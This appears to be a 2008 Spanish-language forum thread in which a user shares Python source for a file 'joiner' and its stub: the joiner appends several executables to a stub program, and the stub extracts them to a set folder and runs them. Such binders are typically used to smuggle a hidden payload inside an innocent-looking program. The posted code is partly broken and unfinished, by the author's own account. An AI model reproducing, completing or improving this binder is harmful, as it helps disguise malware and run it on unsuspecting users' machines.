[SOURCE] Joiner hecho en Python!

Iniciado por Shrick, 8 Julio 2008, 15:11 PM

0 Miembros y 1 Visitante están viendo este tema.

Shrick

Siguiendo el tutorial de E0N para Visual Basic decidí hacerlo para Python, y conseguí esto:

Funcionamiento:

Código (bash) [Seleccionar]
python Joiner.py archivo_principal lugar_destino

El "archivo.txt" debe contener los nombres de los ejecutables.

Ejemplo:

gui.exe
cepillo.exe
juego.exe


Joiner.py:

import string
import os
import sys

archivo = sys.argv[1] # Metemos el archivo principal
extraccion = sys.argv[2] # Donde queremos que se guarde
archivos_leidos = [] # Va a contener todas las direcciones
f = open('archivos.txt', 'r') # Abrimos para lectura de archivos
i = 0 # Lo usamos para asignar dinamicamente strings a archivos_leidos
ruta = os.getcwd()
ruta = ruta.split('\\')
ruta = os.getcwd()
j = len(f.readlines())
f.seek(0)
while i < j:
    c = f.readline()
    d = c.split('\n')
    d = d[0]
    archivos_leidos.append(i)
    archivos_leidos[i] = d
    i+=1
f.close()
def Juntar():
    Firma = "[**-_-**]"
    SubFirma = "^^_~~_^^"

    os.system('copy stub.dll stub.exe')
    print archivos_leidos
    n = 0
    p = ''
    while n < i:
        p = archivos_leidos[n]
        o = open(p, 'rb')
        archivo = o.read()
        o.close()

        f = open('stub.exe', 'ab')
        f.write(Firma)
        f.write(archivo+SubFirma)
        f.write(archivos_leidos[n]+SubFirma)
        f.write(extraccion+SubFirma)
        f.write('Si')
        f.close()
        n +=1
Juntar()


Utiliza un .txt para obtener las direcciones de los archivos.

Stub.py:

import string
import os
import sys

def Ruta():
    print os.path.dirname + '\\'+ os.path.basename

Archivo = ''
Nombre = ''
RutaExt = ''
Ejecutar = ''

Firma = '[**-_-**]'
SubFirma = '^^_~~_^^'

f = open(ruta(), 'rb')

Todo = f.read()

f.close()

Partes = Todo.split(Firma)

n=1

while n < len(Partes):
    SubPartes = Partes.split(SubFirma)
    i=0
    for i in len(SubPartes):
        if i == 0:
            Archivo = SubPartes(i)
        elif i == 1:
            Nombre = SubPartes(i)
        elif i == 2:
            RutaExt = SubPartes(i)
        elif i == 3:
            Ejecutar = Subpartes(i)

    f = open(RutaExt + '\\' + Nombre, 'wb')
    f.write(Archivo)
    f.close()
    #i += 1


Todavía estoy portandolo, me queda mirar, deducir y escribir algunas cosillas :rolleyes: .

Definitivamente Python es potente

Funciona con el Stub.dll de E0N programado en Visual Basic, para pasar de .py a .exe utilizar el cx_freeze.
Ubuntu User
Pascal (2008/2009)
C/C++ (2009/¿?)
8080 Assembler (2009/2010)
MIPS I Assembler (2010/¿?)

Todo lo que yo haga o diga esta bajo:



No pertenece ni a mi ni a nadie :P .

~~

CitarDefinitivamente Python es potente

Hombre, solo se necesita poder tratar archivos xD Ahora ha hacerte también el stub, muy buen trabajo ;)

Shrick

Tras varias de estudio, dedicación y cambios veo que es imposible hacer el stub en python, porque al pasar de .py a .exe el código se queda estático cualquier cambio por pequeño que sea da error de un archivo necesario al crear el .exe. Os dejo el código fuente de lo que hice:

Joiner.py

Código (python) [Seleccionar]
import string
import os
import sys

archivo = sys.argv[1] # Metemos el archivo principal
extraccion = sys.argv[2] # Donde queremos que se guarde
archivos_leidos = [] # Va a contener todas las direcciones
f = open('archivos.txt', 'r') # Abrimos para lectura de archivos
i = 0 # Lo usamos para asignar dinamicamente strings a archivos_leidos
ruta = os.getcwd()
ruta = ruta.split('\\')
ruta = os.getcwd()
j = len(f.readlines())
f.seek(0)
while i < j:
    c = f.readline()
    d = c.split('\n')
    d = d[0]
    archivos_leidos.append(i)
    archivos_leidos[i] = d
    i+=1
f.close()

def Juntar():
    Firma = "[**-_-**]"
    SubFirma = "^^_~~_^^"

    os.system('copy Stub.dll Stub.exe')
    n = 0
    p = ''
    while n < i:
        p = archivos_leidos[n]
        o = open(p, 'rb')
        archivo = o.read()
        o.close()

        f = open('stub.exe', 'ab')
        f.write(Firma)
        f.write(archivo+SubFirma)
        a = archivos_leidos[n].split('\\')
        archivos_leidos[n] = a[(len(a)-1)]
        f.write(archivos_leidos[n]+SubFirma)
        f.write(extraccion+SubFirma)
        f.write('Si')
        f.close()
        n +=1
Juntar()


Stub.py:

Código (python) [Seleccionar]
import string
import os
import sys

Ruta = os.getcwd() + '\\' + os.path.basename(sys.argv[0])

Archivo = ''
Nombre = ''
RutaExt = ''
Ejecutar = ''

Firma = '[**-_-**]'
SubFirma = '^^_~~_^^'

f = open(Ruta, 'rb')

Todo = f.read()

f.close()

Partes = Todo.split(Firma)

n=1
i=0

while n < len(Partes):
    SubPartes = Partes[n].split(SubFirma)
    while i < len(SubPartes):
        if i == 0:
            Archivo = SubPartes[i]
        elif i == 1:
            Nombre = SubPartes[i]
        elif i == 2:
            RutaExt = SubPartes[i]
        elif i == 3:
            Ejecutar = Subpartes[i]
        i += 1
    f = open(RutaExt + '\\' + Nombre, 'wb')
    f.write(Archivo)
    f.close()
    n += 1
    if Ejecutar == 'Si':
        os.system(RutaExt + '\\' + Nombre)
Ubuntu User
Pascal (2008/2009)
C/C++ (2009/¿?)
8080 Assembler (2009/2010)
MIPS I Assembler (2010/¿?)

Todo lo que yo haga o diga esta bajo:



No pertenece ni a mi ni a nadie :P .